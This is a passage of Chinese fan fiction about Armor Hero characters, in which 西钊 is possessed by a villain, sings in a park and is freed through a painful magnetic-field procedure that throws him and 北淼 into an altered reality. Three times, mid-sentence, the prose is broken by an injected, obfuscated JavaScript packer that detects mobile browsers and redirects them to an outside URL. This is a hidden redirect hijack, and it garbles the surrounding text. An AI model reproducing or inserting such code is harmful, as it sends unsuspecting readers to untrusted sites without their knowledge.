“他们……啥时候在一起的?” TBC 17. 隐隐月光 西钊漫无目的地游走在公园外围的街道上。他没有去处,也不打算驻留太久。他最初留在北淼身边的目的已经达到,现在只不过在等着丑将一点点将他的意志腐朽。他想过丑将反悔的可能,就像梦中那样,“坏人说话并不算数”,但西钊曾问过: “我有什么、你不会反悔的担保吗?” “你没有。” 是的,他没有。所以,除了祈祷丑将履行承诺以及在这里自怨自艾之外,西钊什么都做不了。到那时,他又会被冠以“叛徒”的罪名,而讽刺的是,在所有人眼中,他不再是“身不由己”。因为,“西钊”已经不复存在。 凌乱的思绪分了西钊的心,让他没有注意到街道转角迎面走来的两个身影。于是,当他低头沿着砖道下意识转身时,便顺利地撞上——或者说,撞倒了面前的两人。 “真是的!哪个不长眼睛的家伙!?” 就好像被小鸟扇了两翅膀的西钊这才缓缓回过神,他定睛一看,地上瘫坐着的正是许久之前他结识的两个非主流姐妹跟班,其中一个身后背着的吉他包也摔在地上。西钊没想到,过了这么久居然还会见到她们。不过,她们还是一如既往地…… “我说是谁呢,原来是一声不响甩了我们的渣男大帅哥啊。” ……没礼貌。 “自从被你们几个莫名其妙甩了之后,我们姐妹俩还想着搞点什么好好过日子呢。现在倒好,我拿来吃饭的吉他被你摔坏了,你得赔,知不知道?” 西钊扯了扯嘴角,回以一个礼貌的微笑,并未在意她们的话,弯腰一手拽一个将她们从地上拉起来,顺手勾着吉他包的背带就把它拎到了自己手上,一边掂量它的重量一边温柔调侃道:“你们这是坑蒙拐骗吧。说不定、它根本就没有坏。或者……本来就是坏的。” “喂,哪有你这样的,你怎么证明你没弄坏它?” “就是啊,你说没事就没事,那我开车完撞人也可以说他没事,然后我踩油门跑掉咯?” 面对姐妹俩的强词夺理和无理取闹,西钊没有表现出一丝烦躁和恼怒,反而一直是那副温润如水的平静笑脸。他打量一番眼前的两姐妹,又扭头环顾四周。很快,他的视线便锁定在不远处公园内的长椅上。 “那我只好自证清白了。去前面吧,这里人多。”西钊收回视线,朝她们笑着歪歪脑袋。似乎是没想到西钊会认真对待这件事,姐妹俩顿时陷入尴尬的沉默。西钊非常贴心地先行一步,补充道:“你们、有谱吗?” ———— 西钊坐在公园的某处长椅上,阳光穿过稀疏的枝叶在他身上落下斑驳的阴影,周围的浮尘不断折射光线,形成一帘轻纱将他包裹。他翘起一条腿,将暗棕色的吉他抱在手中熟练地调音;他的右手轻抚吉他弦,指尖拨动琴弦的瞬间,时间仿佛为音乐静止。 西钊第一次弹这首《隐隐月光》*,然而他超乎常人的适应力和反应力使得他在弹奏时依旧得心应手。这首曲子似乎带着淡淡的忧郁、更多的是某种脆弱和不甘。琴弦在西钊的指尖下跳动,让这份悲伤多了分难以言喻的张力。不止为何,西钊觉得,自己与它之间存在某种吸引力,每一次震动、每一段旋律,都在让他们彼此靠得更近。 也正是此时,西钊才看见这首曲子其实是有歌词的。看起来是姐妹俩从什么地方抄写下来的手写体。等他弹奏下一节拍时,他意识到自己的喉咙已经比他的脑子更快地处理了这段信息。 拒绝陪你冷战,用心布置浪漫; 你的泪在打转,却讲出别彼此为难; 你说,爱已变淡,幸福有了破绽; 盲目才会简单,清醒了,就看见不安。 西钊的声音低沉而温柔,曲中的不甘与忧愁在他口中犹如易碎的秘密,无论多难过,都会将其放在心底。琴弦的声音逐渐与西钊内心的悸动交织在一起,他几乎要沉浸在其中,仿佛那些曾经的情感和错误都被凝固成了每一个从他嘴里流出的音符,如此鲜活、如此遥远。 希望我曾照亮最美的时光, 就像你的太阳; 从今夜退成隐隐月光,远远凝望。 当他的眼睛扫过这一行词句、他的歌声传入他的耳中,他忽然真真切切地感受到了脉搏的跳动。这让他想起和北淼一同度过的时光。他希望自己已经带给北淼足够的力量战胜梦魇、走出过去。 说来也怪,明明是五行里的水,西钊却在唱到“太阳”时,想起了北淼眼中闪烁的坚定与那自信满满的笑容。 都说铠甲召唤人五行主什么,召唤人五行就缺什么。炘南、北淼和西钊就是最好的例子。炘南主火,却心思细腻;西钊主金,却摇摆不定;北淼就更不用说了,五行主水,不仅有一点就着的炸弹脾气,作为犀牛,还继承了“牛”钻牛角尖、往死里倔的“优良品德”。 有时,连西钊都会觉得,北淼他太耀眼,无论他做什么,存在感都过分地强。即使西钊离得远远的,北淼的光还是会照在他身上,时而滚烫、时而温暖。西钊忽然在想,他之前好像也没说错,关于“你照顾我、我安慰你”的算术题:西钊传递给北淼的,是曾经北淼带给他的。哪怕暂时只有一点点。 因为月亮不发光,它的光来自太阳。 微笑地送你回家, 执着的爱垂死抵抗; 得到你一声不响, 有时努力更让人受伤。 西钊唱到这里,忽然从曲子中感受到了某种共鸣。融入回忆的每一个音符,无一不在刺痛他内心的每个角落。本来承诺了北淼的他没有理由、一声不响地走了,为他忙前忙后的北淼最终也只落得一场空。 心痛地送你回家, 最后一次像护卫一样; 在别人眼里的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334645|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻, 对我是太不舍啊。 随着旋律渐渐变缓,西钊的声音也变得更悠远低沉。他微微颤抖的声线里似乎带着一丝痛楚,在普通人看来或许只是唱到情之深处,但对西钊来说,几乎每一句歌词都颤动着他的心脏。即使曲子已经结束,琴弦仍然在他手中微微震动,余音卷着他的那份情感萦绕在他耳畔。 西钊低头看着吉他,眼神有些恍惚,完全没有注意到身旁两个非主流小妹的欢呼声和惊叹声。 他的心里一直在重复着一句话:“在别人眼里的太傻,对我是太不舍啊”。而透过它、西钊脑海中慢慢从浮现出四个字。这四个最简单的词,组成了最矛盾、最不可思议的一句话: 我想回家。 ———— 北淼独自坐在公园的一张长椅上,隔着一圈花圃背对着西钊三人。 过去的一个小时内,他几乎把坤中指给他的方向上的每一条路都找了个遍,就连公共厕所都没放过。虽然他知道在丑将的计划得逞之前,西钊暂时不会有危险,但问题就是,他又不知道丑将在打什么主意,万一下一秒西钊就出事怎么办? 北淼的心中升腾起某种熟悉的情绪:恐惧、厌恶、焦躁。比起害怕西钊有生命危险,他对西钊不想待在他身边、抗拒他的任何接触更为不爽。为什么、凭什么,他北淼家哪里不比外面好?他北淼难道还不如冰儿、不如其他朋友了?若是觉得他越界,以后注意点就是,为什么一定要离开得那么干脆?若是丑将所迫、不得已避开接触,至少……至少演得假一点啊。 哪怕是把假刀,也会刺伤人的。 北淼如此想着,烦躁地在公园内寻找西钊的身影。出乎意料的是,他没有看到西钊,而是听到了西钊的声音,准确地说,是歌声。他从未听过西钊开口唱什么,甚至不知道西钊会弹吉他、也会唱歌。西钊唱歌的声音和平常说话时很不一样,像他、也不像,但都很悦耳。温柔的嗓音配上清亮的吉他,几乎要把公园的所有灰尘阴霾都给吹散了去。 他循声慢慢潜伏靠近,熟练地让自己融入到环境中,直至在他们背后坐下也未被察觉。他想过打断西钊的胡闹、带他回家,也想过直接问西钊究竟是怎么想的。然而,直到坐得近了,北淼才听清这首带着淡淡忧郁悲凉的曲子里唱的是什么。 心痛地送你回家, 最后一次像护卫一样; 在别人眼里的太傻, 对我是太不舍啊。 “……” 西钊将歌词中的“不舍”唱得太过真切动人,听得北淼的身子一僵,闭上眼好不容易才忍住回过头与西钊对话的欲望。他没有再在公园停留,而是站起身,亦如他悄无声息地来,他悄无声息地走了。 因为西钊让北淼记起,在“给西钊一个家”之前,他还有更重要的事情需要处理。 TBC 18. 融金炉 “美真。”北淼冲进ERP研究室后,绕过圆桌旁的东杉,径直走向坐在主控屏幕前的美真。 美真一边将手头的工作收尾,一边转动椅子回头望向急匆匆赶来的人:“北淼?怎么了?” 而北淼也没有过多寒暄,开门见山地说明来意:“西钊被影界的人附身了。” “什么?!”美真和东杉异口同声,“发生什么事了?” 北淼一手叉腰一手低头捏着眉心迅速思考怎么简略地描述整个事情的经过:“那天我去影界基地找他,看到他做噩梦、昏迷不醒,手臂上还有影界的印记。如果我的猜测没错,那应该是他噩梦的源头,也是影界附身在他身上的媒介。” “西钊现在在哪?我们得尽快找到他。” 美真说着就转身准备打开卫星链接,被北淼厉声阻止:“不行!不能告诉他。应该说,不能让他知道我们知道这件事。” “什么意思?”东杉皱起眉满脸的困惑。 北淼换了个姿势,手托下巴在桌边来回踱步,犹豫许久终于还是坦白道:“西钊应该跟那家伙有某种交易,而筹码、是我。”面对二人不可思议的目光,北淼避开他们的视线,继续说下去,“似乎是因为我能干涉西钊的梦,我不确定。唯一可以确定的是,如果让影界的人意识到他的计划败露,我可能会没命。”北淼俯下身,双手按在中央的桌台边,重重叹口气,“现在的问题就是:影界的人究竟有什么目的、以及,怎样才能在不惊动影界的情况下解除附身。” 听完北淼的话,美真和东杉都陷入了良久的沉默。美真首先反应过来一件事:“北淼,你刚刚说……你能‘干涉’西钊的梦?” “我能看到他的梦,他能看到我的。”北淼轻描淡写地一笔带过。 美真不再说话,再次陷入思考。东杉则拉了一把椅子坐在北淼旁边:“所以西钊现在已经没有自我意识了吗?” “不。这也是困扰我的地方。”北淼摇摇头,跟着坐下来,焦躁地翘起腿手撑脑袋,“我猜测,影界的人目前只能在西钊的潜意识里作祟,但我不清楚这么做的目的。” 美真忽然想到什么,抬头问道:“冰儿当时不是也被附身了吗?她那里有什么情报?” “问过了。她说,黑暗护法不能直接附身,需要宿主的‘恶念’,或者直接同意附身的邀请。西钊两个条件都不符合,这也是我认为他还没有被夺舍的原因之一。” “会不会……”东杉的手一边敲着桌子,一边歪头说出他的猜想,“影界的目的本就是‘夺舍’?” 美真的脑回路很快对上了东杉的:“没错,既然无法满足附身的外部条件,就从内部入手。如果、连主体意识都不复存在,也就不需要谁来说‘同意’了……”美真越细想这件事越觉得不安,“要是影界真的成功了,那西钊他……” 意识到问题严重性的东杉站起身,走向主控屏幕:“他们的目的无疑是光影石和光影铠甲,西钊在这里畅通无阻,无疑是最好的伪装。先暂时撤销他的通行权,如果他召唤铠甲,美真也能通过卫星对铠甲进行强制解除,这样理论上说他就不能也再召唤铠甲了。这是最保险的办法。” 真像是以前的自己会做的计划,客观、全面、不近人情。北淼上前用力抓住东杉准备按下键盘的手,语气中带着些不满:“‘他’?那西钊怎么办?不去思考怎么解决根本问题,反而在想着怎么给兄弟收尸了?” “你这话什么意思?”东杉明显也上了火气,“分不清主次的人是你吧?” “你……!” “北淼!东杉!”美真见势不妙,起身把两人推开一段距离,挡在两人中间,“吵什么吵,吵架能解决问题吗?现在是吵架的时候吗?你!给我坐下!”美真指着东杉、又指了指椅子。 东杉撇撇嘴,听话地坐好,不再说什么。 “还有你!北淼!”美真指向北淼、然后又指向另一把椅子。 听到自己名字的北淼被吓了一跳。面对这世界上最难处理的、女孩子的怒火,他只能选择拉过椅子、缓缓坐下,双手在桌上交握,尴尬地搓来搓去。 冷静下来的美真长叹口气,无奈地抬眼望向存放光影石的舱室。 忽然,一个想法闪过她的脑海。她伸手拍桌,成功把走神的两个人都惊得耸起肩膀:“既然……光影石发出的磁场能够锁住异能兽和它们的异能量,那调整这股磁场的波动,是不是也能够影响西钊身上的‘附身体’?因为本质上来说,那也是一种异能量残留。” 东杉迅速反应过来,一拳不轻不重地捶在桌面:“对啊……我可以调整磁场数据和异能量的感应精度,只要光影石的磁场能量足够强,将西钊身上的异能量分离应该不是问题。我怎么没想到呢……” 东杉还在郁闷的时候,北淼已经拍案而起来到美真身边:“具体要怎么做?” “必须让西钊进入传送仓进行隔离,接着让东杉转移和释放光影石的特殊磁场。”美真摸了摸下巴,举棋不定地皱起眉,“但是北淼,这么做还是有风险。磁场会给异能量带来极大的刺激,也就是说、西钊他……也会承受这种痛苦。如果、我是说,如果,西钊的意志力不足以支撑他到最后一刻……” 北淼移开视线,闭上眼:“我知道。” “不,北淼,比那更严重。我们失去西钊的同时,铠甲会保护身体接近极限的主人。” “……什么?”北淼听懂了美真的潜台词,“你是说,如果西钊失败了,不仅他会消失,雪獒铠甲也会拱手让人?” 美真抿唇,点点头:“嗯。我知道你不赞同东杉的计划。但如果是这样的情况,我们不得不……”美真停顿了一下,“为了光影石和光影铠甲,为了大家。” “所以,这是一场不能输的赌局。”北淼攥紧拳头,堵着一口气不知道往哪儿发,压低的声音听上去都有些颤抖,“我尽快把他带过来。” “等一下,还有一个问题。”坐在一旁的东杉将椅子转过来,忽然说,“要让西钊进入传送仓,又不能打草惊蛇,用什么理由才能说服他配合我们?” 美真眼睛一转,笑着竖起手指:“交给我吧。” ———— 好说歹说送走吵吵嚷嚷的两姐妹,西钊向后靠在长椅上长舒一口气。午后的太阳并不刺眼,有了树荫的遮挡反而温暖得让西钊有些犯困。这个想法出现时,他下意识地强迫自己保持清醒,随后又发现这样的挣扎在此刻已经毫无意义。 正当他闭上眼打算迎接梦魇的洗礼时,腿上突然压上一团柔软的重物。西钊睁开眼一瞧,大腿上赫然趴着一只微胖的三花猫,拿他的腿当垫子,低头舔舔爪子给自己梳毛,仔细听还能听见从猫咪喉咙里传来摩托车引擎一样的呼噜声,甚至还踩踩西钊的裤子,满不在意地勾起几根裤腿线,伸了个懒腰。 西钊见到此景忍俊不禁,伸手试探地放在猫咪面前。他本以为它会躲开,却不曾想它对着西钊手指的方向一把将脑袋拱过来就往他手心里钻。西钊无奈,只好温柔地抚摸它柔软但并不怎么干净的毛发,抬手挠了挠它有些发黑的下巴。它似乎很享受,“引擎声”也变得越来越响。西钊早就注意到了它的模样,因此不忍起身,甚至止不住地多给它一些爱抚。 “……你也是没有家的家伙吧。”西钊笑了笑,双手把那只不轻的大三花提溜起来端详,“还挺沉啊。在外流浪都吃的这么好?说不定、外面的世界更适合你。而我……这个世界也许不会有我的容身之所,你说是不是?” 西钊温和的笑意逐渐变为自嘲。他刚把这只大三花重新放回腿上,它就好似捕捉到某种强烈的威压,尾巴的毛都炸了起来,不等西钊安抚的手放下,就一溜烟地窜进花圃里没了影子。西钊正困惑时,余光里,一瓶冰镇可乐贴到了他的脸上。 “它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334646|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不是。”北淼满脸阴沉,盯着三花猫离开的方向冷冷道。 西钊的笑容僵住,不知是被可乐冻的还是因为北淼的出现。他起身想走,结果北淼先是把可乐扔进他怀里,又大手一按把西钊按回长椅上,接着顺势就挤着西钊坐下,拧开自己那瓶喝了一口:“有家不回,你去哪儿?” 北淼一定要逼他把那句话说出来吗。西钊低头盯着手里的冰可乐,忽然觉得心里发凉,他甚至不敢看北淼:“那是你的家,北淼。不是我的。” “那我们结婚?”北淼勾着西钊的肩膀,将手里的可乐递过去以示碰杯,“结了婚就是一家人。” “什么乱七八糟的……”西钊终究还是因为北淼莫名其妙的调侃没忍住笑出来。他投降一般拧开可乐的盖子,将瓶口歪过去和北淼的碰了碰,给自己灌了一口。 见西钊笑了,北淼一路上焦躁的心顿时平静大半。这人正儿八经笑起来多好看啊,整天愁眉苦脸的干什么。北淼一边想,一边继续一本正经打趣道:“不想?那就走正规流程。把户口上到我这儿来,像小雪一样。改个名,跟我姓,这样、你就各种意义上是我‘兄弟’了。” “那我岂不是要变成‘张西钊’?”西钊笑着摇摇头,不知道身旁人在想什么。 北淼勾在西钊肩膀的手摊开,一副理所当然的样子:“那又怎么样,不比‘秦西钊’好听吗?” “‘张北淼’都这么混蛋,可别再出来一个‘张西钊’了。”西钊没深究北淼从哪里得知了他的真名,最后喝了一口冰可乐,盖上盖子站起来,收起那副玩笑的表情,“好了。别做这些没有意义的事了,北淼。我不会和你回去的。” 怀里突然变空,北淼有种说不上的失落,但那种感觉来得快去得也快。毕竟他确实不是来这里把西钊领回家的。他也不着急跟着起身,只是保持手臂搭在长椅上的姿势,翘着腿,脑袋一歪:“我可没说要带你回去。是美真。她找我们几个有事。” 西钊意料之中地感到意外:“美真?” “嗯。”北淼的表情变得有些微妙,“她上次说,要分析铠甲召唤人身上的各种数据,她跟我说、当时是打算用来找出五行村后人和普通人的差异。现在她打算用这些数据,反向筛选,寻找合适的铠甲召唤人。毕竟,总不能单靠我们兄弟几个保护世界一辈子。” 西钊好像明白了北淼此行的目的:“所以……” “所以,美真需要你去做个身体检查,和体检差不多。炘南和东杉已经搞定了,坤中要晚点到,就剩我们了。花不了太长时间,送你一程?”北淼望着西钊犹豫不决的熟悉模样,一边叹息一边起身就把西钊往他停在路边的车上拽,“哎。行了,做完检查,你想去哪去哪,我不会再烦你了,满意了吗?” 都被你拖进副驾驶了,还能说不满意吗……西钊沉默着系上安全带。 “我的沉默不是你得寸进尺的理由。” 这句话随着西钊一路的无言突兀地出现在北淼的脑海,他连忙握住西钊拉着安全带的手,一改之前的松弛,严肃道:“别用沉默随便搪塞我,说话。给我一个答复。” 西钊意识到北淼大概是在对他之前吵架时的那句话耿耿于怀,他柔和了表情,勾起嘴角回以北淼浅浅的微笑,仿佛在安抚一个几百个月大的、执拗的孩子:“送我到美真那里吧,北淼,麻烦你了。” “……这才像话。” 北淼心满意足地松手,发动跑车。 他不知道这一去,西钊还能不能完好无损地回来,但这是目前唯一的办法。一想到这会给西钊带来极大的痛苦,北淼就心乱如麻。“如果是真金,就不怕火炼”,话是这么说,但他到底还要把这个人往火坑里推多少次? 不。北淼想。从前都只是为了害他,至少这次,是为了救他。 所以…… 所以,西钊,你别怪我。 TBC 19. 相交的平行线 西钊直到进入传送仓的前一秒钟都还在犹豫。虽然美真在广播里安抚站在中央的他这个过程不会很久,但凭着战士的直觉,他的不安感愈发浓烈。手臂的印记隐隐作痛,西钊眉头微皱,将它很好地融入自己看起来很紧张的神色之中。传送仓开始进行隔离程序,西钊看着四周关上的玻璃门,做了个深呼吸。 ERP指挥室内,北淼环抱双臂倚在桌边,注视着传送仓的监控屏幕,不放过西钊的任何一举一动;美真和东杉在键盘前忙碌着、合力调试光影石产生的电磁力场,准备将其输送到传送仓。 就在一切准备就绪时,从西钊进去之后就一直忧心忡忡的北淼终于说话了:“美真,光影石的电磁力场一旦按你们说的……超压释放,如果中途停下,会发生什么?” “这……”美真显得有些为难,“如果强行终止电磁力场的传输,不仅不能对异能量产生有效影响,还有可能让西钊的身体和精神受到严重伤害。北淼,你要知道……” “我知道。”北淼直截了当地打断美真,视线却仍旧在监控屏幕上,面无表情,声音也听不出一点波澜,“一旦影界的人知道我们的打算,就必定会采取行动反击。到时候无论发生什么、听好了,是‘无论发生什么’,都不能停下,直到西钊身上的异能量完全消除为止。如果、他没撑过去,就按原计划‘除掉他’。”说罢,他抬眼望向靠近门口一侧的东杉,随口道,“哪儿有干净的毛巾?” ———— 当西钊耳边响起“光影石能量场启动中”倒计时,他还觉得困惑,直到强大的光影石电磁力场将他完全包裹、手臂随之传来前所未有的剧痛,他才知道自己被骗了。 他感觉到自己的身体被布满金色电弧的无形力场束缚着,手臂逐渐升腾而起的灼烧感让他即刻双腿发软跪在地上失声痛呼,仿佛那股地狱之火借由印记钻入他的骨髓、再一点点传遍他的全身,令他动弹不得。心脏的每一次跳动都如同在针尖上舞蹈,呼吸的每一口空气似乎都带上了铁锈的腐朽。 西钊能感觉到,这是光影石的“五行力量”在与丑将这股异能量进行对抗,但由于他是丑将的附身体,这份痛苦他必须原封不动地承受。同时,他也知道,被算计的丑将现在一定怒不可遏。因为、他听到了。他在扭曲的痛苦中听到了丑将几近疯狂的绝唱。 “好啊!好啊!真是一出好戏!虽然我不知道你是怎么做到的,但既然你选择‘宁为玉碎,不为瓦全’,那就别怪我‘玉石俱焚’了!你们都去死吧!!” 糟了、糟了! 北淼!!! 西钊连喊出那个名字的力气都被剥夺了去,磁力场有如一只看不见的手掐住他的脖颈。窒息感令西钊头晕目眩,他感觉身上就好像被辉光做成的长矛一次次贯穿,又毫不留情地拔出,周而复始。即便如此,他依然颤抖着双腿站起来,不顾一切地向面前的磁力场扑过去,却连磁力场外的玻璃都无法触及。 北淼到底在想什么?他会死的!! 承受着千百根滚烫骨钉埋入身体的痛苦时,西钊不知道是自己的身体更痛,还是心里更痛。 而此时,指挥室内,一同关注西钊状态的美真和东杉突然听见身后传来沉闷的响声,回头一看,竟是北淼倒在了桌下,痛苦地蜷缩,嘴里还咬着刚刚让东杉准备的毛巾,压抑着撕裂意识的叫喊。 “北淼!?” 美真率先赶过去查看北淼的情况,东杉紧随而来,一边试图将北淼搀扶起来打算送去诊疗室,一边给美真一个眼神示意她继续关注西钊。然而,东杉的手刚绕过北淼的肩膀准备把他扶起,北淼就用仅剩的力气挣脱开了东杉再次摔在地上。 他的喉咙里挤出一声几乎像是被什么生生撕碎的喘息,那股既是意料之中、也如飓风突如其来的痛楚在他的身体与精神中肆虐,势不可挡。每一块骨头都仿佛被折断、五脏六腑都如同被什么死死攥紧撕裂。 那是比最初他体会到的“头疼”要残忍数倍的地狱。这也让北淼残存的理智渐渐意识到,这不仅是丑将在“反击”,而是他在通过“链接”共感西钊的全部痛苦。他甚至能感受到西钊的血管此时炽热的脉动、甚至能“看见”那道漆黑的印记有如黑色的巨蟒在皮肤下扩散,留下一圈又一圈能将骨肉灼烧成灰烬的伤疤。 “美真,情况不对。”眼见北淼脸色如白纸,满头虚汗,东杉焦急地看向控制台前的美真。 美真的视线在西钊和北淼之中迅速地来回交替,最终痛下决心:“不行。这样下去北淼也会出事。如果我们做好了失去西钊的准备,就不能再冒着失去北淼的风险——” “别、停——!!!”北淼因咬着毛巾而含糊不清的声音从东杉身边传来,每个字都像是越战越勇的野兽,透露着疯狂而执着的意志力。他的手紧紧抓住东杉刚刚伸过来的手臂,哪怕青筋暴起、冷汗滴落、脸上表情都扭曲得不成样子,也压着东杉的手借力颤颤巍巍地站起,将嘴里的毛巾一把拽下,却连扔出去的力气都没有,只是因为难忍的疼痛死死握在手中。 “北淼!你疯了吗?!你会撑不住的!如果不趁现在解决……” “我说……不许、停下!”北淼大口喘着气,拳头砸在指挥室的墙面,用手臂支撑自己摇摇欲坠的身体,“我能撑得住,他就能、撑得住。” 虽然话是这么说,但北淼终究还是抵不住刺痛灵魂的折磨,靠着墙滑坐在地,在自己喊出声之前迅速咬住了毛巾。此时此刻的他就好像一摞积木,被一辆玩具车撞翻,再被乱七八糟地拼接起来。他用尽全力抬起头,望向监控屏幕的方向,努力让双眼聚焦在西钊所在的窗口。 电磁力场的强度仍然在持续上升,连空气中都充满了静电噼啪作响的声音。西钊的身影在金色电弧中几乎已经无法看清,他的手在空中无意识地抓握,像是在挣扎、又好像是在挥拳。不知是不是错觉,北淼似乎看到西钊的嘴一张一合,无声地呐喊着什么。 而这份呐喊,莫名地穿越了电磁力场,异常清晰而响亮地出现在北淼的脑海。 “北淼……” 那一瞬间,无数如蛛网一般的痛苦交织在一起,整个现实世界对他们两人而言忽然变得模糊不清。他们像是被一根细细的线缠绕着,意识逐渐融为一体。 他们沿着一根贯穿自己心脏的光矛前进,最终在这空白的世界中遇见了被同一根光矛贯穿同一个位置的彼此。 光矛横亘在他们之间,而他们就好像感觉不到任何疼痛一般相视而笑,仿佛外面混乱的、紧张的一切与他们无关。没有虚伪的隔阂,没有丑将的威胁,也没有钻心的痛苦。 “疼吗?”西钊笑了一声,忽然问。 那语气像极了曾经北淼问自己挨的那些鞭子、受的那些电击疼不疼一样。他们喜欢这样,时不时用对方说过的话杀个“回马枪”找对方的乐子,这甚至成为了他们的某种“默契”和习惯。 听闻西钊的话,北淼也随之笑出声,脸上挂着与平日里大不相同的温柔笑意:“你心情不好的时候,我大概就这么疼吧。” “北淼,你这是道德绑架……” 西钊无奈地摇头,抬手握住那把由光芒组成的长矛,手伸向靠近北淼心脏的那一端。而北淼也不再回话,默契地做出相同的动作,手靠近西钊心脏一段,握住那柄长矛,感受它最后的光与热。 下一秒,两人同时扭腕发力,硬生生折断了锐利的长矛、将其快速从对方心口拔出,一气呵成。从两人“伤口”中溅射出的并非鲜血,而是他们有关于彼此的所有记忆。它们不断涌出、聚集、压缩,成为一个密度极大的点,最后…… ———— “美真,怎么了?”北淼刚倒下,指挥室内的警报突然响起,东杉一时不知道先管哪一个。 “光影石的磁力场准备达到临界点,金影石和水影石已经开始蠢蠢欲动。这样下去我怕……” 阻止美真继续说下去的是光影石舱室内部能量的骤然暴涨。就好像是贴心地验证美真的说法,金影石和水影石发出两道强烈的闪光,瞬间吞噬了整个指挥室。伴随着极度不稳定的能量暴动,一股巨大的电磁冲击波席卷而来。 美真面前的玻璃墙猛地震颤,仿佛下一秒就会被这毁灭般的力量击溃。她下意识捂着头背过身,却在冲击波到达的一瞬被东杉从背后扑倒在地。 所幸,光影石的能量波动没有对指挥室造成破坏。两个刚刚经历“患难见真情”的人也若无其事地调整状态爬起来。 东杉盯着那块大玻璃,摸着后颈眼神略有躲闪:“……还好,没碎。” 美真歪歪头,声音里夹着一丝没好气的无奈:“要是真碎了,我们还能站在这?” “哦……” 短暂的闹剧过后,两人注意到西钊和北淼都失去了意识。他们配合得很默契:美真检查北淼,东杉检查西钊。 根据系统数据显示,西钊身上的异能量已经全部清除,他手上的印记也变浅了许多,几乎看不见。然而,不管是西钊还是北淼,虽然从脸上看不出痛苦的表情,但他们的生命体征都很微弱,可以说,如果不是因为他们是五行村后人、又是铠甲召唤人的话,基本已经一命呜呼了。 “东杉,快,送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334647|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们去医院!!” ———— 北淼醒来时,发现自己在家里。他不觉得头疼,也没有任何不舒服的感觉,几乎可以说是一身轻松。但紧接着,一张陌生又熟悉的脸突然凑到他面前。 那人将垂落的直发勾直耳后,担心地问:“小北哥,你终于醒了!你一声不吭昏迷两天,我都担心死了!” 北淼揉了揉眼睛,发现面前人是小雪。但他敏锐的观察力很快为他敲响了警钟。这个小雪很奇怪,没有原本那种集阴郁、尖锐、矛盾和温和为一体的复杂感觉,反而更加……开朗?北淼不敢相信这个词有一天会被他用来形容小雪。 他被小雪拉着下床,耳边是她对最近工作和生活的絮絮叨叨。听上去她很喜欢讨论关于自己的事情,不管大事小事都希望北淼知道。北淼一边想着,一边本能地观察起周围的环境。 这是他的房间没错,但不同的是多了一些用相框裱起来的照片和明信片。等他看清照片上的人和明信片的内容时,他被震惊到停住脚步,再也听不进小雪的话。 他看到:小雪没有被丢下,她和北淼一起被收养、一起长大、一起上学,他从明信片中读到她到国外深造,因为北淼召唤黑犀铠甲拯救世界的事情才回国。最后,北淼看到了一张他们五个铠甲勇士以及美真小嵩的合照,但是里面本来应该是西钊的地方,变成了泽西——那个所谓“二队”的雪獒铠甲召唤人。 这到底……是怎么回事? “小雪。”北淼厉声打断了小雪仍未停止的滔滔不绝,也不管她说到了哪里。他的声音因为眼前无法消化的巨大信息量而颤抖,“西钊在哪?” ———— 西钊是被电话声吵醒的。他坐起来,下意识地按下接听键。 “喂?小秦啊,我是林伯伯啊。上次调岗的事真是谢谢张总了,你们公司已经给我发了相关的文件,我这一来啊,就给我分了个项目要我跟进。我知道,肯定是你和小雪帮我在张总面前说了好话。真的很感谢你们。” 西钊刚睡醒的大脑在快速运转。小秦?小雪?那不是他和冰儿吗?林伯伯又是谁?张总又是谁? “小秦?喂?能听到吗?” “嗯。”西钊反应迅速地接话,“林伯伯,这是我们应该做的。我们以前也都是受您照顾,都是一家人了,林伯伯,不必客气。您放心,您的谢意我会为您转告给小雪。” 挂电话的同时,房间门正好打开,一身睡衣的冰儿叼着棒棒糖,手里端着水盆毛巾开门走进来,似乎是被床上的人吓了一跳,赶紧放下手里的东西,走到西钊面前手背贴他额头:“应该没在发烧了。不过就算是发烧,也不应该晕过去两天不醒吧,太弱了。” 还是熟悉的毒舌语气,但为什么西钊总是觉得那么违和?这不像他认识的冰儿。他印象里的冰儿应该是一种内敛和强势的矛盾体,界王十年的苛刻为她熔炼了一颗坚固的自尊心。但面前人似乎只是一个普通的女孩儿,顶多有些刀子嘴豆腐心。 “这样才能衬托你很强。”西钊熟练地哄着,一边套话,目光一边扫过四周,“林伯伯给我打来电话,说我们公司给他分了项目,他很感谢我们。” 冰儿用舌头把棒棒糖从腮帮子的一边勾到另一边,瞟了一眼水盆,弯腰端起来就把水泼进房间的浴室里:“哦。那不是老爸的主意吗?虽然发现他失业在街头乱逛的是我。” 